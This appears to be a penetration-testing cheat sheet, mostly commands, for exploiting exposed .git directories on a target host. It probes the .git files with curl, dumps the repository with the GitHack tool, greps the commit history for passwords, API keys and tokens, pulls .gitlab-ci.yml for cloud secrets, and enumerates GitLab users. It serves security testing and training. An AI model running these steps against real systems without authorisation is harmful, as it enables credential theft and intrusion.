You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
# Test endpoints
curl -I http://$rhost/.git/HEAD
curl -I http://$rhost/.git/config
curl -I http://$rhost/.git/index
# Response with 200 = exposed# Response with 403 = directory listing disabled but may still be exploitable
# Clone
git clone https://github.com/lijiejie/GitHack.git
cd GitHack
# Run
python3 GitHack.py http://$rhost/.git/
Git Analysis
View Commit History
cd cloned_repo
# View all commits
git log
# One-line format
git log --oneline
# Show all branches
git log --all --oneline --graph
Checkout Specific Commit
# Get commit ID from git log
git checkout <commit_id># Example
git checkout 0d6c16323262136f864d93604ac317dcaeaa3a62
# Restore all files from commit
git checkout -- .
View Changes Between Commits
# Show diff between commits
git diff <commit1><commit2># Show what changed in specific commit
git show <commit_id># Show file content at specific commit
git show <commit_id>:path/to/file
Search for Secrets
# Search all history for keyword
git log -p | grep -i password
git log -p | grep -i secret
git log -p | grep -i api_key
git log -p | grep -i token
# Search in specific file history
git log -p -- config.php
git log -p -- .env
# Check for .gitlab-ci.yml
curl http://$rhost/.gitlab-ci.yml
# CI variables might contain# - AWS_SECRET_ACCESS_KEY# - DEPLOY_PASSWORD# - API_TOKEN
GitLab API
# Get project info (public)
curl https://gitlab.example.com/api/v4/projects
# Get user info
curl https://gitlab.example.com/api/v4/users?username=admin